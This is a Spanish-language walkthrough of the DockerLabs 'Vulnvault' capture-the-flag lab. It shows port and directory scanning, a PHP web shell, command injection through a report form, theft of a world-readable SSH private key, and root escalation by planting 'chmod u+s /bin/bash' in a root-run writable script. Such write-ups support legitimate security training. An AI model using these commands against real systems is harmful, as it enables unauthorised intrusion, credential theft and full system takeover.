DockerLabs - Vulnvault
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_ 256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Generador de Reportes - Centro de Operaciones
|_http-server-header: Apache/2.4.58 (Ubuntu)
análisis
Comenzamos revisando la pagina principal, en la que nos encontramos un panel que tiene varias funcionalidades, entre la cuales podemos destacar el generar un report, y subir ficheros:
Dejamos corriendo por detrás a gobuster revisando recursos existentes en el servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.txt,.html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 3494]
/upload.php (Status: 200) [Size: 33]
/upload.html (Status: 200) [Size: 2314]
/old (Status: 301) [Size: 306] [--> http://172.17.0.2/old/]
/server-status (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================
Vemos que en el recurso /old encontramos una versión que no tiene estilo, pero nada que nos ayude a acceder al laboratorio:
Y el recurso /upload es el que se emplea en la funcionalidad de subir ficheros que revisaremos mas adelante, el cual nos indica que no hemos indicado un fichero:
Revisamos la funcionalidad de generar reportes, donde se ve reflejado lo que introducimos en los campos del anterior formulario:
El contenido reflejado en la respuesta anterior es el que se encuentra en el documento de texto que nos indican:
Siguiendo con el análisis, revisamos la funcionalidad de subida de ficheros, por si podríamos llegar a subir algún fichero malicioso, como una reverse shell:
acceso inicial (www-data)
Tratamos de subir un fichero que nos permita ejecutar comandos remotamente:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ cat shell.php
<?php
system($_GET['cmd']);
?>
Y parecería que se está subiendo correctamente:
Sin embargo, no recibimos la ruta en la que se estaría subiendo; interceptando la petición, vemos que de hecho, está fallando:
Haciendo pruebas con el formulario de la generación de reportes, nos damos cuenta de que podemos llegar a ejecutar comandos si indicamos un ; y luego un comando, ya que con esto lo que logramos es inyectar un comando. Este se va a concatenar al que ya se está empleando para tratar el texto introducido (esto ocurre siempre y cuando el input no se esté sanitizando correctamente):
En la respuesta observamos que se ve reflejado el resultado del comando inyectado:
Normalmente, en este momento, la idea sería conseguir una consola interactiva en la máquina, pero en mi caso he optado por seguir usando la página web para ejecutar comandos, lo cual es menos recomendable, ya que tenemos menos movilidad.
movimiento lateral (samara)
Pudiendo ya ejecutar comandos de forma remota, obtenemos los usuarios del sistema mediante la lectura del fichero /etc/passwd:
Encontramos que el usuario con bajos privilegios es samara, por lo que comprobamos que ficheros tiene en el directorio principal:
Leemos los ficheros en caso de que haya algo que nos de acceso a la máquina:
Al ir a revisar la carpeta .ssh, vemos que el fichero id_rsa se encuentra disponible, y los permisos indican que todo usuario puede leerlo:
Mostramos el contenido por pantalla del fichero id_rsa:
Lo guardamos en un fichero, le damos permisos 600 (lectura y escritura únicamente para el propietario del fichero), y nos conectamos como el usuario samara, ya que al pertenecer a dicho usuario, no nos pedirá la contraseña para acceder por SSH:
1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ chmod 600 id_rsa
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ ssh -i id_rsa samara@172.17.0.2
samara@8d57fdfa7175:~$ whoami
samara
samara@8d57fdfa7175:~$ hostname -I
172.17.0.2
Una vez dentro, vemos que ahora podemos leer el contenido del fichero user.txt:
1
2
3
4
samara@8d57fdfa7175:~$ ls
message.txt user.txt
samara@8d57fdfa7175:~$ cat user.txt
030208**************************
escalada de privilegios (root)
Tras revisar permisos SUDO y SUID, vemos que no van los tiros por ahí, por lo que revisamos los ficheros sobre los cuales tenemos permisos de escritura, donde vemos uno que llama la atención (/usr/local/bin/echo.sh):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
samara@8d57fdfa7175:~$ find / -writable 2>/dev/null | grep -vE "/proc|/dev|/var|/run"
/home/samara
/home/samara/user.txt
/home/samara/.bash_history
/home/samara/.local
/home/samara/.local/share
/home/samara/.local/share/nano
/home/samara/.cache
/home/samara/.cache/motd.legal-displayed
/home/samara/.profile
/home/samara/.ssh
/home/samara/.ssh/id_rsa
/home/samara/.ssh/id_rsa.pub
/home/samara/.bash_logout
/home/samara/.bashrc
/etc/systemd/system-generators/systemd-gpt-auto-generator
/usr/local/bin
/usr/local/bin/echo.sh
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/cryptdisks.service
/tmp
Lo revisamos para ver cual es su contenido, el cual nos confirma que se trata de un script en bash:
1
2
3
4
samara@8d57fdfa7175:~$ cat /usr/local/bin/echo.sh
#!/bin/bash
echo "No tienes permitido estar aqui :(." > /home/samara/message.txt
Comprobamos los permisos que tiene, y vemos que podríamos llegar a modificarlo:
1
2
samara@8d57fdfa7175:~$ ls -la /usr/local/bin/echo.sh
-rwxrw-rw- 1 root root 82 Aug 20 2024 /usr/local/bin/echo.sh
Debido a que es posible que haya una tarea cron que está ejecutando este script a intervalos regulares de tiempo, vamos a emplear pspy (GitHub) para ver los procesos que se ejecutan en el sistema:
Lo subimos a la carpeta /tmp de maquina empleando scp:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ scp -i id_rsa pspy64 samara@172.17.0.2:/tmp
pspy64 100% 3032KB 58.5MB/s 00:00
Le damos permisos de ejecución, lo ejecutamos, e inmediatamente nos daremos cuenta de que cada segundo se ejecuta el script que hemos visto:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CMD: UID=0 PID=828573 | chmod u+s /bin/bash
CMD: UID=0 PID=828574 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828575 | /bin/bash /usr/local/bin/echo.sh
CMD: UID=0 PID=828576 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828577 |
CMD: UID=0 PID=828578 |
CMD: UID=0 PID=828579 | /bin/bash /usr/local/bin/echo.sh
CMD: UID=0 PID=828580 | /bin/bash /usr/local/bin/echo.sh
CMD: UID=0 PID=828581 | chmod u+s /bin/bash
CMD: UID=0 PID=828582 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828583 |
CMD: UID=0 PID=828584 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828585 | chmod u+s /bin/bash
CMD: UID=0 PID=828586 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828587 |
CMD: UID=0 PID=828588 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
CMD: UID=0 PID=828589 | /bin/bash /usr/local/bin/echo.sh
CMD: UID=0 PID=828590 |
CMD: UID=0 PID=828591 | /bin/bash /usr/local/bin/echo.sh
CMD: UID=0 PID=828592 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
Revisando los tiempos de creación nos indica que el fichero message.txt se está continuamente sobreescribiendo:
1
2
3
4
samara@8d57fdfa7175:~$ ls -la message.txt
-rw-r--r-- 1 root root 0 Nov 2 18:40 message.txt
samara@8d57fdfa7175:~$ ls -la message.txt
-rw-r--r-- 1 root root 35 Nov 2 18:41 message.txt
Con esto llegamos a la conclusión de que podemos llegar a ejecutar comandos como el usuario root, ya que lo que indiquemos en el script echo.sh se ejecutará con los permisos del usuario root cada segundo:
1
2
3
4
5
6
7
8
samara@8d57fdfa7175:~$ cat /usr/local/bin/echo.sh
#!/bin/bash
echo "No tienes permitido estar aqui :(." > /home/samara/message.txt
chmod u+s /bin/bash
samara@8d57fdfa7175:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Para este caso, hemos empleado el método de cambiar los permisos del binario /bin/bash para que sea SUID, y así poder invocar una consola privilegiada:
1
2
3
samara@8d57fdfa7175:/tmp$ bash -p
bash-5.2# whoami
root
La flag del usuario root:
1
2
bash-5.2# cat root.txt
640c89**************************
Y con esto habremos concluido la resolución del laboratorio!
